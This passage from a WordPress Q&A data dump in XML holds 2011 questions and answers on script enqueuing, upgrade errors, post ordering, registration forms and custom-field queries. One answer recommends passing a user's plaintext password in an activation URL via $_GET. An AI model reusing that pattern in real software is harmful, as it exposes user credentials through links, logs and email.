Wordpress!&lt;/p&gt;&#xA;" OwnerUserId="3470" LastEditorUserId="3470" LastEditorDisplayName="" LastEditDate="2011-03-02T09:26:36.937" LastActivityDate="2011-04-22T02:59:36.840" Title="Wordpress Database Slow - should I switch to InnoDB?" Tags="&lt;database&gt;&lt;optimization&gt;&lt;innodb&gt;" AnswerCount="3" FavoriteCount="5" />
  <row Id="10300" PostTypeId="2" ParentId="10287" CreationDate="2011-02-24T11:37:08.330" Score="0" ViewCount="" Body="&lt;p&gt;If you hook onto a later action such as &lt;code&gt;template_redirect&lt;/code&gt;, you should be able to check the query vars to determine if your specific post type is being viewed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'example_callback' );&#xA;&#xA;function example_callback() {&#xA;    if( is_single() &amp;amp;&amp;amp; get_query_var('your-posttype') )&#xA;        wp_enqueue_script( .. your args .. );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or alternatively like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'example_callback' );&#xA;&#xA;function example_callback() {&#xA;    if( is_single() &amp;amp;&amp;amp; get_query_var('post_type') &amp;amp;&amp;amp; 'your-type' == get_query_var('post_type') )&#xA;        wp_enqueue_script( .. your args .. );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-24T11:37:08.330" CommentCount="2" />
  <row Id="10301" PostTypeId="2" ParentId="5979" CreationDate="2011-02-24T11:40:46.990" Score="0" ViewCount="" Body="&lt;p&gt;Haha, that's my tutorial that failed badly. Sorry bout that, it was something I wrote because I never had the 404 issue everyone else had with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frontend post forms I use most times open up in a modal window, for example, the post forms I made for &lt;a href=&quot;http://wphonors.com&quot; rel=&quot;nofollow&quot;&gt;http://wphonors.com&lt;/a&gt; are loaded in the thickbox popup thing, which I believe is why I never had an issue with this. I was able to do anything I wanted with my forms, ajax submit, on submit redirect to submitted posts, or just show a message and go to a random page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bad on failing with that tutorial, I had good intentions :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe try loading them using thickbox, it's really very simple to do. I'm still working on a follow up tutorial to redeem that failed on, but it's been hard to make it work the way most people would be likely to implement it in their sites.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-02-24T11:40:46.990" CommentCount="0" />
  <row Id="10302" PostTypeId="1" AcceptedAnswerId="13175" CreationDate="2011-02-24T11:51:23.393" Score="0" ViewCount="497" Body="&lt;p&gt;I just upgraded to 3.1, and after refreshing I get the following error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Fatal error&lt;/strong&gt;: Call to undefined&#xA;  function wp_cache_get() in&#xA;  &lt;strong&gt;/public_html/blog/wp-includes/functions.php&lt;/strong&gt;&#xA;  on line &lt;strong&gt;336&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A quick google search led me to &lt;a href=&quot;http://wordpress.org/support/topic/upgrade-to-31-wp_cache_get-issue&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; on WordPress support forum, however I tried disabling all plugins as suggested, and I'm using TwentyTen as my only theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also set &lt;code&gt;define('WP_CACHE', false)&lt;/code&gt; in the config, didn't help...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas before I attempt to roll everything back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2011-03-26T21:42:25.657" Title="Upgrade to 3.1 - Fatal error: Call to undefined function wp_cache_get()" Tags="&lt;upgrade&gt;&lt;fatal-error&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="10303" PostTypeId="1" CreationDate="2011-02-24T12:49:22.133" Score="0" ViewCount="73" Body="&lt;p&gt;I'm after a sidebar widget that will show the tags of my site's currently (within the last day) most viewed posts, in order to achieve a rudimentary 'trending topics' widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this require a plugin (and if so which one), or can it be achieved with some nifty code?&lt;/p&gt;&#xA;" OwnerUserId="3471" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-12T09:25:26.460" LastActivityDate="2011-05-12T09:25:26.460" Title="Show tags of currently popular (by views) posts" Tags="&lt;plugin-recommendation&gt;&lt;tags&gt;&lt;popular-posts&gt;" AnswerCount="1" />
  <row Id="10304" PostTypeId="1" CreationDate="2011-02-24T12:54:01.513" Score="1" ViewCount="449" Body="&lt;p&gt;The first posts I wrote are now showing on the homepage. After Googling, the problem is because I am using query_posts to exclude a certain category on the main loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts($query_string . '&amp;amp;cat=-4'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;how can I still exclude this category, but not have my posts reversed?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-15T00:49:59.800" Title="Wordpress Posts Out Of Order after 3.1 Update" Tags="&lt;posts&gt;&lt;query-posts&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="10305" PostTypeId="2" ParentId="10302" CreationDate="2011-02-24T13:01:17.790" Score="0" ViewCount="" Body="&lt;p&gt;I had problems upgrading too. Not the same as you though. I got a complete blank screen after entering my login details.My sites worked fine at the frontend though.&#xA;The plugin option didn´t work for me either.&#xA;What I did was ran(It´s a local setup):&#xA;&lt;a href=&quot;http://localhost/wordpress/wp-admin/upgrade.php&quot; rel=&quot;nofollow&quot;&gt;http://localhost/wordpress/wp-admin/upgrade.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could then get in to my admin again,&#xA;Finnish the database update&#xA;and run the 3.1 upgrade&#xA;Basically I just followed the messages at the top of my screen again &#xA;and now I´m all fine!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps!&lt;/p&gt;&#xA;" LastActivityDate="2011-02-24T13:01:17.790" CommentCount="1" />
  <row Id="10306" PostTypeId="2" ParentId="4191" CreationDate="2011-02-24T13:11:45.010" Score="2" ViewCount="" Body="&lt;p&gt;add this to your theme's &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add editor the privilege to edit theme&#xA;&#xA;// get the the role object&#xA;$role_object = get_role( 'editor' );&#xA;&#xA;// add $cap capability to this role object&#xA;$role_object-&amp;gt;add_cap( 'edit_theme_options' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-24T13:14:56.973" LastActivityDate="2011-02-24T13:14:56.973" CommentCount="2" />
  <row Id="10308" PostTypeId="2" ParentId="10304" CreationDate="2011-02-24T13:51:19.267" Score="1" ViewCount="" Body="&lt;p&gt;Simply add orderby to your query_posts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts($query_string . '&amp;amp;cat=-4&amp;amp;orderby=date&amp;amp;order=DESC'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$args = array_merge( $wp_query-&amp;gt;query, array('cat' =&amp;gt; -4,'orderby' =&amp;gt; 'date','order' =&amp;gt; 'ASC'));&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you still get the same change ASC to DESC.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-24T15:17:32.573" LastActivityDate="2011-02-24T15:17:32.573" CommentCount="10" />
  <row Id="10309" PostTypeId="1" CreationDate="2011-02-24T14:07:30.747" Score="0" ViewCount="2522" Body="&lt;p&gt;How to display the wordpress User registration form ( the form that appears in &quot;www.mywebsite.com/wp-register.php&quot; page) in the front end of my blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have customised the Registration form but dont know how to call that form in the front end page. Any support will be really great help .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. :) &lt;/p&gt;&#xA;" OwnerUserId="3476" LastActivityDate="2011-04-12T13:36:08.307" Title="How to display Wordpress User Registration Form in front-end of the website?" Tags="&lt;registration&gt;&lt;form&gt;" AnswerCount="6" FavoriteCount="1" />
  <row Id="10310" PostTypeId="1" CreationDate="2011-02-24T14:08:18.693" Score="0" ViewCount="413" Body="&lt;p&gt;I have my own activation mail for new users that are added via a plugin in the wp backend by an admin. The user is also added as an author to a post and I want him to activate the post (which will publish it) when he gets the email and clicks the link. Currently, the user receives an email with an activation link, but then has to log in and is not redirected to the activation screen. Is it possibly to authenticate the user by receiving the activation key and post id via the URL? The key is stored in his post as a custom field. I basically want this process to log him in automatically and allow him to access hist post from a front end page.&lt;/p&gt;&#xA;" OwnerUserId="1426" LastActivityDate="2011-08-07T05:20:03.940" Title="authenticate user without password from email activation link" Tags="&lt;user-access&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10311" PostTypeId="2" ParentId="10297" CreationDate="2011-02-24T14:17:33.513" Score="1" ViewCount="" Body="&lt;p&gt;It's a bit hard for WP to figure that your custom menu item is the active one. They are for external links, after all, so it might not even be your WP install anymore. Since WP generates the menu on every page load it simply tries to figure right then what the active menu item is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To overcome your isse...firstly, assess if you can do what you need to do without placing a custom menu item. If you still see your WP menu on that 'custom' target, chances are you can add it to the menu by other means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for whatever reason, that's not an option, compare the style classes attached to your &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag with the ones attached to the menu entry. For instance, if have a page linked that on result shows &lt;code&gt;page-id-2&lt;/code&gt; on the body tag and &lt;code&gt;page-item-2&lt;/code&gt; on the menu entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjust your stylesheet to highlight the combination of that as active, for instance in my case it would be an entry&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.page-item-2 #menu-main-menu .page-id-2 {&#xA;    whatever: styles;&#xA;    are: suitable;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also note that you have limited control over at least one entry in the menu items classes by adjusting the menu entry slug.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-24T14:17:33.513" />
  <row Id="10312" PostTypeId="2" ParentId="10281" CreationDate="2011-02-24T14:27:57.447" Score="0" ViewCount="" Body="&lt;p&gt;Firstly, it's better to user WP functions than write your own SQL. Even though it might be a bit more expensive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = get_post($post_ID);&#xA;$authorid = $post-&amp;gt;post_author;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly, it's not &lt;code&gt;get_usermeta()&lt;/code&gt;, but &lt;code&gt;get_user_meta()&lt;/code&gt; and the complete call should include &lt;code&gt;true&lt;/code&gt; as the third parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$currentPointNumber = get_user_meta($authorid, 'points', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then it's &lt;code&gt;update_user_meta()&lt;/code&gt;, again, and you don't need to initialize a new variable, just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_user_meta($authorid, 'points', $currentPointNumber-1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-24T14:27:57.447" CommentCount="3" />
  <row Id="10313" PostTypeId="2" ParentId="10292" CreationDate="2011-02-24T14:34:42.913" Score="0" ViewCount="" Body="&lt;p&gt;Alternatively, you can treat your CSS uploads just like any other attachments and use the attachment manager for that. For instance, introduce a custom post type called 'Stylesheets' and replace the thumbnail image metabox with a more generic file upload metabox on those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you have not only an uploader, but complete management of your stylesheets including metadata, and you can easily reference them via post records wherever you want to further process them.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-24T14:34:42.913" />
  <row Id="10314" PostTypeId="1" AcceptedAnswerId="21762" CreationDate="2011-02-24T14:35:34.630" Score="1" ViewCount="117" Body="&lt;p&gt;My question is about a theme named &lt;strong&gt;&lt;a href=&quot;http://spencerfinnell.com/quality-control-theme/&quot; rel=&quot;nofollow&quot;&gt;quality control&lt;/a&gt;&lt;/strong&gt; which was available at wordpress repository. The plugin developer is not available at this moment and I hope I get resolution for my problem here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the errors and many others are reporting the same error on the theme's official site  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Catchable fatal error: Object of class&#xA;  WP_Error could not be converted to&#xA;  string in&#xA;  /public_html/wp-content/themes/quality-control/single.php&#xA;  on line 55&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and some times...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Catchable fatal error: Object of class&#xA;  WP_Error could not be converted to&#xA;  string in&#xA;  \wp-content\themes\quality-control\inc\templates\loop.php&#xA;  on line 37&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Could anybody help me with this? I am ready to give admin access to my site to replicate the error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The  WordPress version I am using is 3.1  and  I have tried both the 'Quality control' theme versions 1.5 and 2.0 versions .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ffav.in&quot; rel=&quot;nofollow&quot;&gt;http://ffav.in&lt;/a&gt; is the address of web-site and these are the URLs for some example posts with errors :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) http:// ffav.in/ticket/test/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) http:// ffav.in/category/uncategorized/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="3477" LastEditorDisplayName="" LastEditDate="2011-03-11T08:11:25.203" LastActivityDate="2011-07-02T07:10:18.897" Title="Fatal error with a theme" Tags="&lt;themes&gt;&lt;errors&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="10315" PostTypeId="2" ParentId="10309" CreationDate="2011-02-24T14:37:44.563" Score="1" ViewCount="" Body="&lt;p&gt;Best solution i found is &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-24T14:37:44.563" />
  <row Id="10316" PostTypeId="1" AcceptedAnswerId="10319" CreationDate="2011-02-24T14:40:24.997" Score="0" ViewCount="16" Body="&lt;p&gt;So I recently submitted my first plugin, and have since got a 1-star rating. Is there a place to review ratings and comments on my plugin?&lt;/p&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2011-02-24T14:55:55.370" Title="How to view plugin ratings?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10318" PostTypeId="2" ParentId="10296" CreationDate="2011-02-24T14:52:11.443" Score="1" ViewCount="" Body="&lt;p&gt;At least in my installation, Admin and Editors are able to inject script into their posts. Authors are not able to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Author content is parsed using a plugin called KSES, which strips out disallowed HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The KSES plugin can be overridden or extended. Which I have done by hacking a community plugin called Extend KSES (&lt;a href=&quot;http://wordpress.org/extend/plugins/extend-kses/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/extend-kses/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not too keen on the idea of allowing script injection, so the client should be made aware of the dangers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rich&lt;/p&gt;&#xA;" OwnerUserId="2053" LastEditorUserId="2053" LastEditorDisplayName="" LastEditDate="2011-02-24T15:03:10.723" LastActivityDate="2011-02-24T15:03:10.723" />
  <row Id="10319" PostTypeId="2" ParentId="10316" CreationDate="2011-02-24T14:55:55.370" Score="0" ViewCount="" Body="&lt;p&gt;There's no way to see the individual ratings, but you can see the total number of ratings and what they average out to. In the bottom left of your plugin page (in the repository) there is a section for &quot;What others are saying&quot;, and it will display any posts from the WordPress forum talking about your plugin.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-02-24T14:55:55.370" CommentCount="2" />
  <row Id="10320" PostTypeId="2" ParentId="10310" CreationDate="2011-02-24T14:58:37.393" Score="0" ViewCount="" Body="&lt;p&gt;To login a user progrmaticly you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //Login the user&#xA;$creds = array();&#xA;$creds['user_login'] = $login;&#xA;$creds['user_password'] = $password;&#xA;if ( !empty( $remember ) ){ &#xA;    $creds['remember'] = true;&#xA;}&#xA;$user = wp_signon( $creds, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but as you can see you will need to have the password present , so you can just add to your actovation url &amp;amp;pw=pasword and call it using $_GET['pw'].&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-24T14:58:37.393" CommentCount="2" />
  <row Id="10321" PostTypeId="2" ParentId="10309" CreationDate="2011-02-24T15:02:00.087" Score="2" ViewCount="" Body="&lt;p&gt;this &lt;a href=&quot;http://digwp.com/2010/12/login-register-password-code/&quot; rel=&quot;nofollow&quot;&gt;Article&lt;/a&gt; provides a greate tutorial on how to create you own frontend register/login/restore password forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if you are looking for a plugin then i've used these before and can recomend them:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/ajax-loginregister/&quot; rel=&quot;nofollow&quot;&gt;Ajax Login/Register&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/login-with-ajax/&quot; rel=&quot;nofollow&quot;&gt;Login With Ajax&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-24T15:09:42.790" LastActivityDate="2011-02-24T15:09:42.790" />
  <row Id="10322" PostTypeId="1" AcceptedAnswerId="10323" CreationDate="2011-02-24T15:06:23.950" Score="2" ViewCount="100" Body="&lt;p&gt;I would like to be able to easily control who registers to my blog because recently I had tons of spam users registering.&#xA;I came accross the plugin Stop Spammer Registrations, but i'm not sure it is reliable enough and I would also like to have a full log of every user who was rejected by the plugin/service.&#xA;Is there any good alternative?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1567" LastEditorUserId="1567" LastEditorDisplayName="" LastEditDate="2011-02-24T17:20:27.780" LastActivityDate="2011-02-24T17:55:13.237" Title="What is the best way to avoid spammers registering to my blog?" Tags="&lt;users&gt;&lt;registration&gt;&lt;spam&gt;" AnswerCount="2" />
  <row Id="10323" PostTypeId="2" ParentId="10322" CreationDate="2011-02-24T15:15:59.617" Score="3" ViewCount="" Body="&lt;p&gt;I am a HUGE fan of the &lt;a href=&quot;https://wordpress.org/extend/plugins/bad-behavior/&quot; rel=&quot;nofollow&quot;&gt;Bad Behavior&lt;/a&gt; plugin:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bad Behavior complements other link&#xA;  spam solutions by acting as a&#xA;  gatekeeper, preventing spammers from&#xA;  ever delivering their junk, and in&#xA;  many cases, from ever reading your&#xA;  site in the first place. This keeps&#xA;  your site's load down, makes your site&#xA;  logs cleaner, and can help prevent&#xA;  denial of service conditions caused by&#xA;  spammers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We started using Bad Behavior on our tech blog and noticed an immediate reduction of spam, as shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/cKxMH.png&quot; alt=&quot;Bad Behavior activated on January 14&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is our full article on Bad Behavior: &lt;a href=&quot;http://www.techerator.com/2010/05/significantly-reduce-website-spam-with-bad-behavior/&quot; rel=&quot;nofollow&quot;&gt;http://www.techerator.com/2010/05/significantly-reduce-website-spam-with-bad-behavior/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-02-24T15:15:59.617" CommentCount="3" />
  <row Id="10325" PostTypeId="2" ParentId="10314" CreationDate="2011-02-24T16:00:57.303" Score="1" ViewCount="" Body="&lt;p&gt;First thing i ran across was &lt;a href=&quot;http://wordpress.org/support/topic/quality-control-theme-ticket-priority?replies=13&quot; rel=&quot;nofollow&quot;&gt;this conversation&lt;/a&gt; about the same issue. I couldn't find it in the theme repo, but found it &lt;a href=&quot;http://themes.svn.wordpress.org/quality-control/0.2/&quot; rel=&quot;nofollow&quot;&gt;accessible via svn&lt;/a&gt; @repo. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now please answer some basic questions: Which version (wp &amp;amp; quality control) are you running? Could you share a link to your install? Which modifications have you made? Have you deactivated all plugins and tried to reproduce the error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;I took a look at the repository (latest is version 1.2 - please take a look at the link from @Rarst to verify that this is the version you're using) and found the following theme functions called before your error messages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;loop.php: &lt;code&gt;echo quality_ticket_status( $post-&amp;gt;ID, 'slug' );&lt;/code&gt; (2 times, line 29 &amp;amp; 35)&lt;/li&gt;&#xA;&lt;li&gt;singled.php: ... nothing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd suggest you tell us exactly (in your best english) every detail about the request that produces the error: which page you're on &lt;a href=&quot;http://example.com/whatever-comes-here&quot; rel=&quot;nofollow&quot;&gt;http://example.com/whatever-comes-here&lt;/a&gt;, what modifications you did, etc. Currently it's fishing in the dark.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-11T06:49:44.823" LastActivityDate="2011-03-11T06:49:44.823" CommentCount="7" />
  <row Id="10327" PostTypeId="1" AcceptedAnswerId="14247" CreationDate="2011-02-24T16:14:17.923" Score="0" ViewCount="295" Body="&lt;p&gt;Is ther a way of displaying the facebook profile picture in the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-fb-autoconnect/&quot; rel=&quot;nofollow&quot;&gt;WP-FB AutoConnect&lt;/a&gt; widget?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like the bbPress login widget:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/WoLnj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WP-FB AutoConnect widget doesn't show it (I think it is like this by default):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/InkUi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using the latest version of the plugin + Wordpress 3.1 + bbpress plugin (also the latest version).&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-24T16:29:44.280" LastActivityDate="2011-04-08T07:54:37.183" Title="Displaying the facebook profile picture in the WP-FB AutoConnect widget?" Tags="&lt;plugins&gt;&lt;facebook&gt;" AnswerCount="2" />
  <row Id="10328" PostTypeId="1" AcceptedAnswerId="10390" CreationDate="2011-02-24T16:16:22.180" Score="2" ViewCount="431" Body="&lt;p&gt;i'm looking for a good and easy way to have a custom post type &quot;event&quot; that can have multiple dates. (I have tested about 20 plugins). I think i have no problem building a metabox allowing the user to duplicate the field group &quot;date and time&quot; multiple times. But &lt;strong&gt;how would a query look like that creates a chronological list of events from the meta data?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The project is a playing schedule for a theatre. Productions play on several dates.) Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3480" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-25T00:16:32.583" LastActivityDate="2011-02-25T00:43:03.443" Title="Custom Post Type “Event”: chronological list of recurring events" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;events&gt;&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" />
  <row Id="10329" PostTypeId="1" AcceptedAnswerId="10331" CreationDate="2011-02-24T16:37:21.930" Score="0" ViewCount="239" Body="&lt;p&gt;I have added a custom field to some posts called 'frontpagerank'&#xA;The plan is to order the posts by this value but first I just want to filter out any that don't use a front page rank.&#xA;I have achieved this by putting the relevant posts into another array.&#xA;But what to do next?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also tried a query:&#xA;    $the_query = new WP_Query(array( 'meta_key' =&gt; '0', 'meta_value' =&gt; '44' ));&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ($the_query-&amp;gt;have_posts()) : $query-&amp;gt;the_post(); $count++;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This just does nothing. This code is hard to debug!&lt;/p&gt;&#xA;" OwnerUserId="970" LastActivityDate="2011-06-24T22:16:57.313" Title="Filter or order based on custom field" Tags="&lt;custom-field&gt;&lt;sort&gt;&lt;the-loop&gt;&lt;filters&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="10330" PostTypeId="2" ParentId="10329" CreationDate="2011-02-24T16:54:43.300" Score="0" ViewCount="" Body="&lt;p&gt;Haven't tried it, but this seems like it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recent = new WP_Query(&quot;meta_key=your-custom-field&amp;amp;orderby=meta_value&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2011-02-24T16:54:43.300" CommentCount="2" />
  <row Id="10331" PostTypeId="2" ParentId="10329" CreationDate="2011-02-24T17:09:43.870" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have added a custom field to some posts called 'frontpagerank' &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then shouldn't the WP_Query args reference that key then, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_key' =&amp;gt; 'frontpagerank'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i follow, you want to check for posts that have this key, and you're expecting a numeric value, so i'll naturally assume you don't want posts with this key(but an empty value).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$the_query = new WP_Query(array( 'meta_key' =&amp;gt; 'frontpagerank', 'meta_value' =&amp;gt; '', 'meta_compare' =&amp;gt; '!=', 'orderby' =&amp;gt; 'meta_value_num' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you specifically want to check for posts with that meta_key where the value is above say 0, you could do..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$the_query = new WP_Query(array( 'meta_key' =&amp;gt; 'frontpagerank', 'meta_value' =&amp;gt; '0', 'meta_compare' =&amp;gt; '&amp;gt;', 'orderby' =&amp;gt; 'meta_value_num' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read info on the meta parameters here.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info on order by to, since i added that into the above to.. ;)&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts#Order_.26_Orderby_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;..any parameters you see listed for query_posts can be used inside WP_Query&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then all you need do is loop over that data like you had earlier..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Note i made the correction you commented on, yes that's need to match&#xA;while( 